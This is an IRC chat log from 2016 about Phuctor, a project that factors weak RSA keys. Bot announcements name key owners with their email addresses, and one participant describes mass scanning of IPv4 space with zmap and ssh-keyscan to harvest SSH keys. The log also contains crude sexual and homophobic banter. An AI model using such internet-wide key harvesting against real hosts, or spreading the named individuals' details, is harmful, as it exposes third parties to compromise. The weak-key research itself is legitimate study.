[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Luciano Buszmicz (Never forget: 2 + 2 = 5 for extremely large values of 2.) <lbuszmicz@zimbra.itx.net>; ' - http://phuctor.nosuchlabs.com/gpgkey/1C37B216D569982CD4D18802D703548E1A352C5E3C3F6057CEC02FFAFF9C8ABD |
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21:51 |
BingoBoingo |
;;bc,stats |
21:51 |
gribble |
Current Blocks: 412804 | Current Difficulty: 1.9425482028344403E11 | Next Difficulty At Block: 413279 | Next Difficulty In: 475 blocks | Next Difficulty In About: 3 days, 5 hours, 33 minutes, and 3 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None |
21:53 |
mircea_popescu |
asciilifeform lovely! |
21:56 |
mircea_popescu |
http://btcbase.org/log/2016-05-22#1470350 << old key. |
21:56 |
a111 |
Logged on 2016-05-22 00:31 Framedragger: "<product-security@apple.com>" hah!! |
21:57 |
mircea_popescu |
http://btcbase.org/log/2016-05-22#1470357 << on one hand, i care ; on the other hand - there's not that much traffic from phuctor to warrant looking for ways to lower it. |
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21:57 |
a111 |
Logged on 2016-05-22 00:46 asciilifeform: ;;later tell mircea_popescu perhaps we should only print update here when a previously-unphuctored modulus pops? who even cares when old turds break into finer rubble..? |
22:00 |
mircea_popescu |
http://btcbase.org/log/2016-05-22#1470366 << no it's not worthless omaigerd. that's how i search for things. you want to search for the string use " |
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22:00 |
a111 |
Logged on 2016-05-22 00:53 asciilifeform: 'here is a meg of lines with '3' and 'divides' in'em' is WORTHLESS |
22:01 |
mircea_popescu |
http://btcbase.org/log-search?q=%223+divides%22 <<< |
22:01 |
mircea_popescu |
and whai do you ambush lords for your failure to use the things properly! |
22:02 |
mircea_popescu |
http://btcbase.org/log/2016-05-22#1470371 << ouch. wtf ?! why ?! |
22:02 |
a111 |
Logged on 2016-05-22 01:20 Framedragger: ..hrm. zmap finished scanning sixteen /8's (so a sixteenth of ipv4 space, minus reserved blocks), but in those blocks there were two known servers running openssh which was picked up by ssh-keyscan. they weren't picked up by zmap. if the thing is unreliable then it's worthless (it still found > 95k of ssh servers though, but...) |
22:03 |
mircea_popescu |
and in other balls, http://66.media.tumblr.com/56de3f906afad9912c8263018cc813af/tumblr_myauw3UN731skdw0qo1_250.gif |
22:04 |
Framedragger |
i'm now running the reliable but slower ssh-keyscan on the 95k ssh-running IPs just to get a decent sample. will later revisit wtf zmap is doing |
22:05 |
mircea_popescu |
open source stack o' shit for the love o' christ. |
22:05 |
Framedragger |
hum, no girl ever sucking licking my well-shaven balls :/ |
22:05 |
mircea_popescu |
how many did you ask ? |
22:05 |
Framedragger |
*ever liked |
22:06 |
Framedragger |
uh, < 15 for sure, so yeah |
22:06 |
mircea_popescu |
zmap plox. |
22:06 |
Framedragger |
< 11 |
22:06 |
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Framedragger halts sad memory recollection |
22:07 |
mircea_popescu |
in other news, there's just enough ipv4 to address every chick out there. |
22:07 |
Framedragger |
so what you're saying is there's no ip exhaustion crisis at all! |
22:07 |
mircea_popescu |
only for gay ppl. |
22:09 |
Framedragger |
something something "gay ppl have to use [udp] holepunching (to get through NATs)" |
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22:26 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Vincent Thenhart <email_vincent@web.de>; Vincent Thenhart <vincent.thenhart@piraten-rlp.de>; ' - http://phuctor.nosuchlabs.com/gpgkey/3AA58F9BF28C0A4F3A8450E3194CC86A946D9B6A49E362AFCFFA950F72894DBB |
22:26 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Carl Christoph Leimbrock <christoph.leimbrock@gmx.de>; ' - http://phuctor.nosuchlabs.com/gpgkey/41CE4AD52DCCD849DEFF2F8EF2F59A5563DEF92184DA02E60743A44F38C9BDE4 |
22:26 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Thomas Weitzel <tweitzel@synformation.com>; ' - http://phuctor.nosuchlabs.com/gpgkey/9B870E23ED01741E0A587BEFDC1F1988A18C079AFE2F2DA62392548B9A36A4F8 |
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23:00 |
Framedragger |
mircea_popescu: asciilifeform: in regards to ssh key spidering, it's best then to produce output in the form of e,N,comment - is that right? (where comment in this case would be the ip addr) |
23:00 |
asciilifeform |
Framedragger: yes, because this is easiest to convert later to whatever form |
23:00 |
asciilifeform |
http://btcbase.org/log/2016-05-22#1470382 << srsly, you don't care that '3' is found in some 234323454329489858734587372586775363478 ? |
23:00 |
a111 |
Logged on 2016-05-22 02:00 mircea_popescu: http://btcbase.org/log/2016-05-22#1470366 << no it's not worthless omaigerd. that's how i search for things. you want to search for the string use " |
23:01 |
asciilifeform |
whole-word boundaries at the very least, is sane. |
23:02 |
Framedragger |
asciilifeform: k. fwiw conversion from openssh PEM'd format to e,N,ip is easy enough: http://wotpaste.cascadianhacker.com/pastes/65ffd4c7-1a6c-4015-9a24-3e63f90eaacc/ |
23:03 |
Framedragger |
so that part's covered. |
23:03 |
asciilifeform |
neat |
23:03 |
asciilifeform |
the unfortunate bit is that i am not quite yet equipped to do anything with this. |
23:04 |
Framedragger |
i guess i'll give the results in that format for those 95k ssh hosts (actual number of keys will be lower, i can see that some of those hosts are providing clients a nil set of encryption mechanisms, etc etc |
23:05 |
Framedragger |
no worries - actual scanning progress will apparently be slow anyway.. |
23:06 |
asciilifeform |
http://btcbase.org/log/2016-05-22#1470380 << it is bothering me greatly that i have nfi why any 4294967297's remained to be nailed |
23:06 |
a111 |
Logged on 2016-05-22 01:57 mircea_popescu: http://btcbase.org/log/2016-05-22#1470357 << on one hand, i care ; on the other hand - there's not that much traffic from phuctor to warrant looking for ways to lower it. |
23:06 |
asciilifeform |
considering that we had a 10mil*p 8ball in play prior to today |
23:08 |
asciilifeform |
http://btcbase.org/log-search?q=4294967297 |
23:09 |
asciilifeform |
( for anyone who forgot, 4294967297 == 2^32 + 1 ) |
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23:45 |
mircea_popescu |
asciilifeform well, if it gets to be too much we might start caring. in principle it should NEVEr be found mind |
23:46 |
asciilifeform |
i want to know where the hell it was before... |
23:46 |
mircea_popescu |
ikr ? |
23:46 |
mircea_popescu |
Framedragger a sample sorta thing works to have what to get things going with ; but in general, just do and deliver the whole bunch |
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23:47 |
asciilifeform |
btw, what's deedbot's polling interval ? |
23:47 |
asciilifeform |
i think it missed some |
23:47 |
mircea_popescu |
hour iirc ? |
23:47 |
asciilifeform |
hm |
23:47 |
mircea_popescu |
anyway, re the mysterious reappearing 4bn : this is kinda why it's best to err on the side of verbosity a little. if it gets tedious we can cut it back later. |
23:47 |
mircea_popescu |
you should see eulora server logs, 100+mb/day |
23:49 |
mircea_popescu |
Framedragger iirc ssh pubkeys also include an email do they not ? |
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23:49 |
mircea_popescu |
in any case for ssh collection ip should be prepended to whatever comment's available. |
23:53 |
mircea_popescu |
http://phuctor.nosuchlabs.com/stats << "moduli broken : 228", up 10% from last month :p |
23:55 |
mircea_popescu |
asciilifeform how about we add a credits page, move bernstein there, also add phf for keybase spidering, jurov for github spidering, others as may be ? also theory prolly should be rewritten |
23:55 |
asciilifeform |
yeah right now it is all in the very threadbare theory pg |
23:55 |
mircea_popescu |
lemme write a coupla drafts. |
23:55 |
asciilifeform |
worx |